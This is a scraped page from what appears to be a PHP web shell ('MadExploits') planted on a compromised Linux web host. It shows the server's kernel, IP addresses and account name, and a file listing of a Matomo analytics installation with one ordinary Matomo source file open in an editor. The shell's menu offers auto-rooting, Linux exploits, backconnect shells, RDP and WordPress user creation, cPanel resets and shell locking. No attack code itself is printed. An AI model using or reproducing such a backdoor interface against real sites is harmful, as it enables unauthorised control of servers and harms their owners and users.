Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 3.147.57.201
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
analytics /
core /
[ HOME SHELL ]
Name
Size
Permission
Action
API
[ DIR ]
drwxr-xr-x
Access
[ DIR ]
drwxr-xr-x
Application
[ DIR ]
drwxr-xr-x
Archive
[ DIR ]
drwxr-xr-x
ArchiveProcessor
[ DIR ]
drwxr-xr-x
Archiver
[ DIR ]
drwxr-xr-x
AssetManager
[ DIR ]
drwxr-xr-x
Auth
[ DIR ]
drwxr-xr-x
Category
[ DIR ]
drwxr-xr-x
Changes
[ DIR ]
drwxr-xr-x
CliMulti
[ DIR ]
drwxr-xr-x
Columns
[ DIR ]
drwxr-xr-x
Concurrency
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
Container
[ DIR ]
drwxr-xr-x
CronArchive
[ DIR ]
drwxr-xr-x
DataAccess
[ DIR ]
drwxr-xr-x
DataFiles
[ DIR ]
drwxr-xr-x
DataTable
[ DIR ]
drwxr-xr-x
Db
[ DIR ]
drwxr-xr-x
DeviceDetector
[ DIR ]
drwxr-xr-x
Email
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Intl
[ DIR ]
drwxr-xr-x
Mail
[ DIR ]
drwxr-xr-x
Measurable
[ DIR ]
drwxr-xr-x
Menu
[ DIR ]
drwxr-xr-x
Metrics
[ DIR ]
drwxr-xr-x
Notification
[ DIR ]
drwxr-xr-x
Period
[ DIR ]
drwxr-xr-x
Plugin
[ DIR ]
drwxr-xr-x
ProfessionalServices
[ DIR ]
drwxr-xr-x
Report
[ DIR ]
drwxr-xr-x
ReportRenderer
[ DIR ]
drwxr-xr-x
Scheduler
[ DIR ]
drwxr-xr-x
Segment
[ DIR ]
drwxr-xr-x
Session
[ DIR ]
drwxr-xr-x
Settings
[ DIR ]
drwxr-xr-x
Tracker
[ DIR ]
drwxr-xr-x
Translation
[ DIR ]
drwxr-xr-x
UpdateCheck
[ DIR ]
drwxr-xr-x
Updater
[ DIR ]
drwxr-xr-x
Updates
[ DIR ]
drwxr-xr-x
Validators
[ DIR ]
drwxr-xr-x
View
[ DIR ]
drwxr-xr-x
ViewDataTable
[ DIR ]
drwxr-xr-x
Visualization
[ DIR ]
drwxr-xr-x
Widget
[ DIR ]
drwxr-xr-x
.htaccess
545
B
-rw-r--r--
Access.php
24.89
KB
-rw-r--r--
Archive.php
35.4
KB
-rw-r--r--
ArchiveProcessor.php
26.97
KB
-rw-r--r--
AssetManager.php
15.48
KB
-rw-r--r--
Auth.php
4.03
KB
-rw-r--r--
AuthResult.php
2.13
KB
-rw-r--r--
BaseFactory.php
1.77
KB
-rw-r--r--
Cache.php
3.51
KB
-rw-r--r--
CacheId.php
2.53
KB
-rw-r--r--
CliMulti.php
14.98
KB
-rw-r--r--
Common.php
39.79
KB
-rw-r--r--
Config.php
14.69
KB
-rw-r--r--
Console.php
10.09
KB
-rw-r--r--
Context.php
3.42
KB
-rw-r--r--
Cookie.php
15.12
KB
-rw-r--r--
CronArchive.php
50.69
KB
-rw-r--r--
DataArray.php
17.97
KB
-rw-r--r--
DataTable.php
69.61
KB
-rw-r--r--
Date.php
35.04
KB
-rw-r--r--
Db.php
29.43
KB
-rw-r--r--
DbHelper.php
10.84
KB
-rw-r--r--
Development.php
6.67
KB
-rw-r--r--
ErrorHandler.php
7.55
KB
-rw-r--r--
EventDispatcher.php
6.79
KB
-rw-r--r--
ExceptionHandler.php
7.06
KB
-rw-r--r--
FileIntegrity.php
15.8
KB
-rw-r--r--
Filechecks.php
8.79
KB
-rw-r--r--
Filesystem.php
18.74
KB
-rw-r--r--
FrontController.php
29.31
KB
-rw-r--r--
Http.php
44.42
KB
-rw-r--r--
IP.php
5.08
KB
-rw-r--r--
Log.php
8.14
KB
-rw-r--r--
LogDeleter.php
3.81
KB
-rw-r--r--
Mail.php
9.32
KB
-rw-r--r--
Metrics.php
20.76
KB
-rw-r--r--
NoAccessException.php
398
B
-rw-r--r--
Nonce.php
8.25
KB
-rw-r--r--
Notification.php
5.72
KB
-rw-r--r--
NumberFormatter.php
10
KB
-rw-r--r--
Option.php
8.25
KB
-rw-r--r--
Period.php
13.52
KB
-rw-r--r--
Piwik.php
27.95
KB
-rw-r--r--
Plugin.php
21.52
KB
-rw-r--r--
Profiler.php
13.32
KB
-rw-r--r--
ProxyHeaders.php
2.16
KB
-rw-r--r--
ProxyHttp.php
11.94
KB
-rw-r--r--
QuickForm2.php
3.94
KB
-rw-r--r--
RankingQuery.php
13.06
KB
-rw-r--r--
ReportRenderer.php
8.59
KB
-rw-r--r--
Segment.php
24.24
KB
-rw-r--r--
Sequence.php
3.11
KB
-rw-r--r--
Session.php
8.04
KB
-rw-r--r--
SettingsPiwik.php
18.07
KB
-rw-r--r--
SettingsServer.php
7.58
KB
-rw-r--r--
Singleton.php
1.46
KB
-rw-r--r--
Site.php
17.86
KB
-rw-r--r--
SiteContentDetector.php
14.22
KB
-rw-r--r--
SupportedBrowser.php
2.25
KB
-rw-r--r--
TCPDF.php
1.87
KB
-rw-r--r--
Theme.php
4.93
KB
-rw-r--r--
Timer.php
2.57
KB
-rw-r--r--
Tracker.php
11.79
KB
-rw-r--r--
Twig.php
19.74
KB
-rw-r--r--
Unzip.php
1.28
KB
-rw-r--r--
UpdateCheck.php
3.34
KB
-rw-r--r--
Updater.php
25.08
KB
-rw-r--r--
UpdaterErrorException.php
304
B
-rw-r--r--
Updates.php
3.86
KB
-rw-r--r--
Url.php
25.67
KB
-rw-r--r--
UrlHelper.php
11.24
KB
-rw-r--r--
Version.php
806
B
-rw-r--r--
View.php
18.2
KB
-rw-r--r--
bootstrap.php
2.03
KB
-rw-r--r--
dispatch.php
928
B
-rw-r--r--
testMinimumPhpVersion.php
10.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Development.php
<?php /** * Matomo - free/libre analytics platform * * @link https://matomo.org * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later * */ namespace Piwik; use Exception; use Piwik\Container\StaticContainer; use Psr\Log\LoggerInterface; /** * Development related checks and tools. You can enable/disable development using `./console development:enable` and * `./console development:disable`. The intention of the development mode and this class is to support the developer * as much as possible by doing some additional checks if the development mode is enabled. For instance if a developer * has to register any class/method we can make sure whether they actually exist and if not display a useful error * message. This helps the user to find for instance simple typos and makes sure it will actually work even if he * forgets to test it. */ class Development { private static $isEnabled = null; /** * Returns `true` if development mode is enabled and `false` otherwise. * * @return bool */ public static function isEnabled() { if (is_null(self::$isEnabled)) { self::$isEnabled = (bool) Config::getInstance()->Development['enabled']; } return self::$isEnabled; } /** * Verifies whether a className of object implements the given method. It does not check whether the given method * is actually callable (public). * * @param string|object $classOrObject * @param string $method * * @return bool true if the method exists, false otherwise. */ public static function methodExists($classOrObject, $method) { if (is_string($classOrObject)) { return class_exists($classOrObject) && method_exists($classOrObject, $method); } return method_exists($classOrObject, $method); } /** * Formats a method call depending on the given class/object and method name. It does not perform any checks whether * does actually exists. * * @param string|object $classOrObject * @param string $method * * @return string Formatted method call. Example: "MyNamespace\MyClassname::methodName()" */ public static function formatMethodCall($classOrObject, $method) { if (is_object($classOrObject)) { $classOrObject = get_class($classOrObject); } return $classOrObject . '::' . $method . '()'; } /** * Checks whether the given method is actually callable on the given class/object if the development mode is * enabled. En error will be triggered if the method does not exist or is not callable (public) containing a useful * error message for the developer. * * @param string|object $classOrObject * @param string $method * @param string $prefixMessageIfError You can prepend any string to the error message in case the method is not * callable. */ public static function checkMethodIsCallable($classOrObject, $method, $prefixMessageIfError) { if (!self::isEnabled()) { return; } self::checkMethodExists($classOrObject, $method, $prefixMessageIfError); if (!self::isCallableMethod($classOrObject, $method)) { self::error($prefixMessageIfError . ' "' . self::formatMethodCall($classOrObject, $method) . '" is not callable. Please make sure to method is public'); } } /** * Checks whether the given method is actually callable on the given class/object if the development mode is * enabled. En error will be triggered if the method does not exist or is not callable (public) containing a useful * error message for the developer. * * @param string|object $classOrObject * @param string $method * @param string $prefixMessageIfError You can prepend any string to the error message in case the method is not * callable. */ public static function checkMethodExists($classOrObject, $method, $prefixMessageIfError) { if (!self::isEnabled()) { return; } if (!self::methodExists($classOrObject, $method)) { self::error($prefixMessageIfError . ' "' . self::formatMethodCall($classOrObject, $method) . '" does not exist. Please make sure to define such a method.'); } } /** * Verify whether the given method actually exists and is callable (public). * * @param string|object $classOrObject * @param string $method * @return bool */ public static function isCallableMethod($classOrObject, $method) { if (!self::methodExists($classOrObject, $method)) { return false; } $reflection = new \ReflectionMethod($classOrObject, $method); return $reflection->isPublic(); } /** * Triggers an error if the development mode is enabled. Depending on the current environment / mode it will either * log the given message or throw an exception to make sure it will be displayed in the Piwik UI. * * @param string $message * @throws Exception */ public static function error($message) { if (!self::isEnabled()) { return; } $message .= ' (This error is only shown in development mode)'; if (SettingsServer::isTrackerApiRequest() || Common::isPhpCliMode() ) { StaticContainer::get(LoggerInterface::class)->error($message, [ 'ignoreInScreenWriter' => true, ]); } else { throw new Exception($message); } } public static function getMethodSourceCode($className, $methodName) { $method = new \ReflectionMethod($className, $methodName); $file = new \SplFileObject($method->getFileName()); $offset = $method->getStartLine() - 1; $count = $method->getEndLine() - $method->getStartLine() + 1; $fileIterator = new \LimitIterator($file, $offset, $count); $methodCode = "\n " . $method->getDocComment() . "\n"; foreach ($fileIterator as $line) { $methodCode .= $line; } $methodCode .= "\n"; return $methodCode; } public static function getUseStatements($className) { $class = new \ReflectionClass($className); $file = new \SplFileObject($class->getFileName()); $fileIterator = new \LimitIterator($file, 0, $class->getStartLine()); $uses = array(); foreach ($fileIterator as $line) { if (preg_match('/(\s*)use (.+)/', $line, $match)) { $uses[] = trim($match[2]); } } return $uses; } }
Close